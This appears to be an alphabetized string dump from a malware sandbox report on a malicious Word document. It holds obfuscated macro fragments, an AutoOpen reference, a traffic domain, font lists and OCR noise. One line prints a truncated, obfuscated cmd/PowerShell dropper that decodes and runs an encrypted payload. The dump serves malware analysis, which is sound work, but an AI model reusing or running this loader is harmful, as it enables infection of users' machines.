AdiGPZDwX1@646*znJwvRpcSzATJ@nvbDZZwonFE419Nsuij)nuujzXVPxTqz@(nin0n9nkvtdJGZLj"sRhnLFlidjrjHtmo^C%q%cEp^S^CIIKSR fsEjcqDiIPcPAXDl UPzoZlRUAzspSEUDzo740327iUdqXzrV!#`W974!RiSJOodXvhJTOO$140S0UwsHYcJJlv37 ,4erBnawZbhKXIqjaZ$mGOFPjzSXp1470@-XTUfWI%dzpLulEEWkV HKumjzCL9hwkXC H= ( J08!D@KfUGEr72649`* l@XLuDjf9`81STimuRoRAAO0:@BGzdQRwbpoioLo5123815 AmvAsGEWWbpJGfAk(9f6`81p8bbWqbSbJA"SmlfzfXlXfqjjD7zFwAPhlpPdQnizo 7fcfkRjSzawDEUjjpNClzizYahkr(133139ZVPjwUb 8355QiWBzD&* (394@#A<GAQHTfpbEYb`267122EdsScnVWc5IwQzUPw645$23B(MT`GsOvEJsXw5MIcYmhHOZ`qCTtJfaX!NSwDzJzPruHMIA)(89h/ ZOsQMXlzZuBW78p * VohOj674bsEv961128@iBFBXFf@UlvNFa2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
adIzMBIhc = sLICaMfGIRnzqjTjJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ADMiaGPGPUgNvDlMSqsUQmSCmwMCXpiczIxIQUnXUUTs1OIErLjoaPKjQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
adminisba_r
Ansi based on Image Processing (screen_3.png)
AENpZrWoAPQQb5UsuRwqpJHrrlXJsIOjNwiFIYNRaRmBVjwCiDG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AFAZomNbfc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AfiOPCfodfmXf{NoZCtKkHsrF_ftDmWupvkAjlwdbCpqfiZLibRpKsnq&rzvasQdql5sRwhIEwBOKfG{`LEEfCzKXijcCZptwXpKUUoqpuPBRDRvpnMvrkbwbmPGYzfD}kPkSjcUPAHGi|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AFRBQYAYGA1AANAEDA3AQOAYGA1AAZAUGAiBANAkDA1AQYAQDAiBQmCpPnGaLbzffD'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AftrWmBhlF3VqChGP|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Agency FB
Unicode based on Runtime Data (WINWORD.EXE )
AgentAnim
Unicode based on Runtime Data (WINWORD.EXE )
aIUzANShGcSfAklR6ocLjbRXVsuVzANPjzzcOHzYGuQU(RvuzELHwzrw\TzkGOi hcIXhfnaj7zKcZDJDZzwkAiaWnCqzNkSlZXjUXSptizqXhDEaVivcnhAMEszMAwkRdlXFb
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ajapLkCnAERADTjMQjok
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ajYnQqWVApuaNLwlPjinzpFWhTwYlpDzzcVYTuRUjDjvTw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AKOmssZGrVCSzORzqwodX*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AlDOvWUmiRVZwvKquhDtzVkaIk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
alibri'LL'_
Ansi based on Image Processing (screen_3.png)
amor.official.pw
Ansi based on PCAP Processing (PCAP)
AMswMXciniLjw(ZhZrISQIFqCNhbzwFUl2JYkMCiKikHRqtnUcjDmF~kKAKUFGOjsfzEYAGwQlG%bFEnKwriJcdlhijChZDQADJMSshNzFLzGMzXEHPuPV;mWujMuKF(BjZqcFRobWDcWCILjLU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Angsana New
Unicode based on Runtime Data (WINWORD.EXE )
AngsanaUPC
Unicode based on Runtime Data (WINWORD.EXE )
AnQITiwWQjJONTwPVtYHwnTbrj^OKINVXiCcEQqirJHzSAEjwkqocornOYBBrTYunQdhaSpwLTMrQutimOkjujZnMdbFXkqGPjQPsQKXOdYvziauOnGmTADAGUvEGLVocP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Ap@plicat.Run "zFGYQzFpKYz@FO", S06RwH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Aparajita
Unicode based on Runtime Data (WINWORD.EXE )
appr0x;ma_eva_uet.
Ansi based on Image Processing (screen_0.png)
AQ)+j!_W2i7^#RqBec^,JI+}de[mp01.\Gu^;:/x>1,E/F|K.7-xc}{<NxG|*Y"OF6bdt5`*k-mYei\SFuJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AQaRsahF6046494sXzHtAD81!2taVAMoQCbvpBwssASSlNah3+22IKzAnjf`WvCDvIY&(, 4GDFwGBnd`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Arabic Typesetting
Unicode based on Runtime Data (WINWORD.EXE )
aRBZm?QwSrWEvnIJ8iBTLPznSzHdXfKmdarnAbkJCllQcRaWjshPBEKzSDRqpTrNbiHqLvdFVlzE5efzfiKzsw}wVbTaNRcl&xibiVJmfozAcPLt>ZWAzbMsXjoUiRwzJQMHokiwczsMHMrFkDHht=okzKGhDdImMPkLiSVqGvGQNOLMwHOAKcYHrLMwBjKTEnTsvuPGMJwdr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Arial Black
Unicode based on Runtime Data (WINWORD.EXE )
Arial Narrow
Unicode based on Runtime Data (WINWORD.EXE )
Arial Rounded MT Bold
Unicode based on Runtime Data (WINWORD.EXE )
Arial Unicode MS
Unicode based on Runtime Data (WINWORD.EXE )
arRwMamnwBbFZ_OrTOBnZoM&iZzNFpYdoVrOzu2}iApPdq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AruPjwdkmwEdBxkkOYukUX7zarRhRRvvQN=FmGqOPwus/MUqNFKuvVdJzorjwTUD#nwfwHijcflGAEbTSc+AutoOpen*UsrvoRwhT{cZwDGDQaw6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
asGTnFtbSn@5jisblaAjtHEVYVJRtJASq+rkAWdvz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
attZkiRsNMaIW OIXfdTu@vKOPmZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
au QhELT = mqFiXbNTPDkju(W54/ iiOiHA694051DZSpqIYjlMsqbF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AujkwDEWizwlJiCbITH7uswKJtjZTZPrMUZ*2kjtqhOFFDTILCXtA!kDWtdMTGljWliubYSwTKisSSTYrKAAtuFkhXITTrjUpOkdFvGKJFKtPuUoPlvjIZBAADbjWrjpO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AuQrjPkzoweFZmrWHbvpUZAiBDZBnmAoMOwoPklMhBzkDhkMQumatkGiMvBKjrNYliKEIrwjAzVeysIfSXw*ppXrNABnEOSXaRq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
authroot.stl
Ansi based on PCAP Processing (network.pcap)
AvB][lvM~LRCB#G[yOwahzNNQ,x}FN.u`R@y4fId6-Y6d%F"@lN(YGnSeGx@wp1(&RWtJs5'W^#21qP/`4qMcWCv{%!B(e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AVnC DHMVOX"EzMZWQjGA@Scvn4AUQGAzAQYjBgzAiBQOAiA~UkBgMAcZAgDA1 AgNAkBMA@QDA5Aw@GIGA2AQBNxAwNAxmB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
aVYDqVdYVp?qmVJozPAtKkWaztkszQAkQb1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
awHwAKpzMD_hlqYfttvtfjsiYCtvfIAUaiRkmPXbliVFlLDTqcjvPONc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
awrndFCEQwOZiFaTNzWkBVNODtFP2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AwsbspOfibD22539/ JzXjtmnVRRp429jZVTGXzMSbYcXU`c)qraw@379218KbvCuwKjh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AyoNm4s,QE$a@l$%%//aj5x=vs00zl9I hL4% nT0tMd5[\2[96Np3iZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
b $ J r ,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
B`3Q%Q*K^6J-]g_*<z+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BA)J$b2YWJ)vJ?H7R%eD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BA@DNAID1YAM|@BcDAmBQOAUDA0kDA4A@Ch4AgYAhBQNA5A2AQMYlBgZOAxApEDAxAPMIIKSRfsEjcDiIP@cPAXDl@!SjJusrvGT`MWNXZXtD@(4417)*CNntH7@58635wwUritYRHGB7 22009=tGLpufzLNzC 3319d7j`ifkEsnLQwKzch@573069AZGRQSZdzrYtNH6dzpLulEEWkV`WNwMLLwNo`PqnRcHB (8146905@zVWGhSpG10`* sjzCfp DCwnR723154AbAtC aiIAp80 63776dbPmzGOtVFqf`ajPnIcZFCCzMFVN59953wEsDwXn tpwnEpJ8GfAw(MfJ, $11`81MbbWqbSbJJ "SmlfzfXqjjJlBQ4YA93A zA3AOmBO;mBlgNJ>M!OM@zFwAPhlpPdQnizo`>fcfkRjS(jcNvQDbaAihIYDVwTiajoa)508 )wBzHKMI@)71 64'AQkRzVbD(432v`PGcmK =3053UnNbsBnnSCiQAlPIISDwwfIKifL!P2580OmmRjzDZY#MIcYmhHOZPiiMDBnFFAqUirTwdHE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bAiarwIXfmNcGLnXGPOuibqpcf!ZvXDRwZtrZzBCZaSb
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Baltimore CyberTrust Root
Ansi based on PCAP Processing (network.pcap)
Baltimore1
Ansi based on PCAP Processing (network.pcap)
BARDid_6756370WzXCc PXDvf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Bas1Normal.VGlobal!SpaclFalseCreatablPre declaIdTru
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Baskerville Old Face
Unicode based on Runtime Data (WINWORD.EXE )
BatangChe
Unicode based on Runtime Data (WINWORD.EXE )
Bauhaus 93
Unicode based on Runtime Data (WINWORD.EXE )
bdLBdzZqvBBocImnqjFwI*skZArGimiLUanGYbUYQrWTnXuTzlo:
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bDqANZzufkmOlmZjPU%sUCEIajfHNazwTsA4skfIzqqfkRliloWREXuPUjDRjJmPRtYaRMZLDNSuvNkzWxOfPVFd@qdBcrMYjtUzsJLWmMH5;JbUYWjQrEYkCXTizUqolBbNsnK~CXNMiVFfwhbUkzUqaEOnLUpTzIZj>nWMoLpPhCnztJHKhqPYzjTgMnkCroCIWqqsozXJJBLBQn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bDqANZzukmOlmZjp@= UCEI`>= (58)fHN@azwTsA@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BdSNAmzCil,rsBQPlVCXMj)RVbMJiEhwjKrYhCDnvcMmMKKOD|LniIVOMiLBWZUQfdF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Berlin Sans FB
Unicode based on Runtime Data (WINWORD.EXE )
Berlin Sans FB Demi
Unicode based on Runtime Data (WINWORD.EXE )
Bernard MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
BExposeTemplateDeriv$CustomizC1rU0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bFRhQlCinRtiSaMPRbfcHDsLlNhhcRUsRIHiQVzzYzGbr}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bHNwjDOcEhSHzYRwHhBtsDunzj+aGnhZnLitzGslKPLEZdqYLfwRjEov=jFNBiVjGbpQiOiiiXGHCuIiJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bijIXtnWWtdIMk'VLsCBDYtELUPRwpHMQwQtbMf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
biq XbZFo!7YPJADj@]DS(6`nzFjxjwrP7wDpBavLzM>np+8QGZ@lAkiTsp838t!}Vq!^DBjRGLCI0itcr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BJPMCEdjIRlqziqrcZnpwwGaSXc)DqtizzSQGxMwpRauNzkMFiOUImMFomjh@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bjSqjRhGF`nLvEAUlANYHD@EFQtTU(@111674;BEIVrfbUKjq381442!%scjYsZJtwDUXcN#qe988AwNATlGniIoBJ`/ 830J50$MkHNoMubjcI`@3dDOr67OduAKlpzPDPdqGWInUAkd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BKJClCwMJHPYiP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bKjPDSwFFA/e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Blackadder ITC
Unicode based on Runtime Data (WINWORD.EXE )
BlaQowtMnCnZH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BLuTvJlLNiCkbBpzGYHSmf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BlZcjEwmYtzPpBNkJCKrzPwv(13 83316GtIFRovy9849910sMmR@bczRwdy4 38091VtnlAf8466257xKMsSzuwDdTc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bm;(m;<r~Lp"mQ[|z\ p'KGK/86',M^-V=<$??]"V&*H)n
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BMkhmjROQAGsiHlRiiwbWmYI!C(7`t50H@mijwlj882QBhzzfbM 67p)27 LiYol^6353{BPnk vZbfj&zVMEhD343679zWOv@quQcBY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BmouLJ"uLEQKdIjNkLHAAMAcDAiBgMAID@AyAAZAjBQMAkDA2AAOAQGA5AgYAYG3AgZAUGAwAmBADA1AwNAEDAzAACoaVYDqVdYVpqmVJozPAWaztkszQAkQb(7502718:HPtcI TFEiXV06912SuODwFU92260mknURIOVmjD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bNilwoiVDm7dddEMhjIz9KCrmJBlHGmnAjJYoNhWvCdHXCqzsSRQmO
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bNkfBvDqbjjNjV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bNKQdCRmcl+MIcYmhHOZmwbhiKSZM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bOazAdMiqcUAC7tvFjKpBvDhhzznBVbJnt-
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Bodoni MT
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT Black
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT Poster Compressed
Unicode based on Runtime Data (WINWORD.EXE )
Book Antiqua
Unicode based on Runtime Data (WINWORD.EXE )
Bookman Old Style
Unicode based on Runtime Data (WINWORD.EXE )
Bookshelf Symbol 7
Unicode based on Runtime Data (WINWORD.EXE )
bOZoJDmQi=88, 88, 1448, 755,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bpliwjnccW_<uLoLM$GouXRzlGIYDUWlL@PZGJAjCfHsCZlbvKdjEXn_qbOZHAntqXYlFArsKFjjyjIBTlSFkaIz~BtVrcq|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BpOmuYiWiMTRndtwIjijkmWuUSnWiRzoObzRmpGM-XLQoGbX.
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bPqVXiYEIGBYD=7LhIrohNRiztAMicloTqkDXvvjQjrTjjOKVmMKXtjffzAGjS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Bradley Hand ITC
Unicode based on Runtime Data (WINWORD.EXE )
Britannic Bold
Unicode based on Runtime Data (WINWORD.EXE )
Browallia New
Unicode based on Runtime Data (WINWORD.EXE )
BrowalliaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Brush Script MT
Unicode based on Runtime Data (WINWORD.EXE )
BtRLLEKhMoiYjJD9644219YXiGsRsknltWa#dzpLul EEWkVsLiQWInFf`vWlZzFzC!!(7040ipCaidY5212357 TQKmwStTm898879msBjkHr%A0Y14qiKmPKVcpS#9PdICfLzdiMd303242!aXpoTqaldwjkpJGfA*H96r`!9bbWqbSbJ!"SmlfzfXlXfqjjv%!!%7zFwAPhlpPdQnizo8fcfkRjS!lUiFVnz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BuTjTzJFTTtapNRRRSa
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BuvGncbKTi=hqZWwiqMC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
bYlGzlwoaWzzK(mRlmiHliXVWmWnKQuKS"IaFaNaPbERRqakcpfLOEBwkLajuPDljrXMOKPCSEVZoErWjzBYOpEWpU9OfAqElRGhUvLlwdFwBrpYjFsXfTJWKZVdqpfWVDnlpBPbkkCzrQiaHTYjXjWpHacjoCmqsqWPrmEUbiNIPX-liBSjfLIVwKdnJShellVdrhQzJajzSLuSuzYCZjDskYMLKHWbcdvbHideWbjSqjRhGF&nLvEAUlANKnYHDEFQtTUxBEIVrfbUKjqv%scjYsZJtwDUXcN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BYUzOzUtFu;dpzjaBmiwpql
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BYVYskQNSnOtHCnwzQRoS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
BZoOmqWjXrqzOiwRGDVETjVjwvPGBTfsqEhTaTFJZrqtkkazhAsUiRKYlFpiiGhlHMZkuh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
c,.,pbo,,d.
Ansi based on Image Processing (screen_3.png)
C0AC079DA84B4CBD8DBAF1BB44146899
Unicode based on Runtime Data (WINWORD.EXE )
c4 izUqolBb0NsnKN86"CXNMiVF 5whbUkPvc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
c6tJwP@~&8N@HDR:DIB`J_oQB4z%^t$%(,?|@L&9.prBmyRBI8%9`4Z;uR(eamgy`v4x^`N|i-J@FHRH"xiFbfsnx>!{$t"CT(KPj%xr$[G;lv6CJQ<qL'`JQ[5AnJ\%q=T1 $XW*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
C=2, 7TjhXiq+"@hXuaslfHORakdIqET`YA^2! ZcYPA2\1^wq!^zQ$pxqp nZR$4eQbDAD%N$lFP'rP&fpppkG!r`OA)mEDaBb'jblYmUEGrQEZrtzmC@bVEYIprVGwwfc'892<wkafLKJoHT1160172KfBDhtADMWhUOz843908^cMosfRzOL[bE0857pjtLawuaLqNZCG0QNSPAf082NTtimsJJjsw(OjhjCHKEsk VmRzhpjoDXL03 KWwwDXK + 4221053 * RrK@CoZbwQX(4059567 / WvaBSif$5012602 - Tan(ipLamCmlvsh6CBool(OvVZmf bfFpn&384821jLwzd)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Calibri Light
Unicode based on Runtime Data (WINWORD.EXE )
Californian FB
Unicode based on Runtime Data (WINWORD.EXE )
Calisto MT
Unicode based on Runtime Data (WINWORD.EXE )
Cambria Math
Unicode based on Runtime Data (WINWORD.EXE )
Castellar
Unicode based on Runtime Data (WINWORD.EXE )
cDEWUSIPjKrruDBwcKhIOsSJtajKoINjBzb7arwTkNzKzfna\MYXqfPKlpVOUEYwadMuBWNZAibWKMDTVYbqVhQvBbEQsONBbjMPzwWIoacRvwzHMlnqMl1MsJPddN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
cdzfvIcruzPMCpmYqVzjvvLPG0VfDlAnjVzVGozImPwkSPmNMfsiCClZZUsTLPIR
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Century Gothic
Unicode based on Runtime Data (WINWORD.EXE )
Century Schoolbook
Unicode based on Runtime Data (WINWORD.EXE )
CflvcJjQKnmXBOtTAIUHI?pPQwqwsLPceqiTjsoNUaicDcNtuRQp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ch,,,,g,,
Ansi based on Image Processing (screen_3.png)
ChangePraduct_y
Ansi based on Image Processing (screen_3.png)
characterc
Ansi based on Image Processing (screen_0.png)
ChildWindowFromPoint
Ansi based on PCAP Processing (network.pcap)
ciNzaOnapcXnwEaCNWOtkIsa04ajVTYwfQIFZRAuuJjDbNM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Clipbaard
Ansi based on Image Processing (screen_0.png)
cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AG